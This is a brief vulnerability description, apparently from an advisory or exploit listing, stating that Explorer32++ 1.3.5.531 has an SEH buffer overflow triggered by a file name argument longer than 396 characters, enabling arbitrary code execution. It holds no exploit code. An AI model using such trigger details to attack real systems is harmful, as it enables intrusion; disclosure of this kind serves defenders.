Description

Explorer32++ 1.3.5.531 contains a buffer overflow vulnerability in Structured Exception Handler (SEH) records that allows attackers to execute arbitrary code. Attackers can exploit the vulnerability by providing a long file name argument over 396 characters to corrupt the SEH chain and potentially execute malicious code.
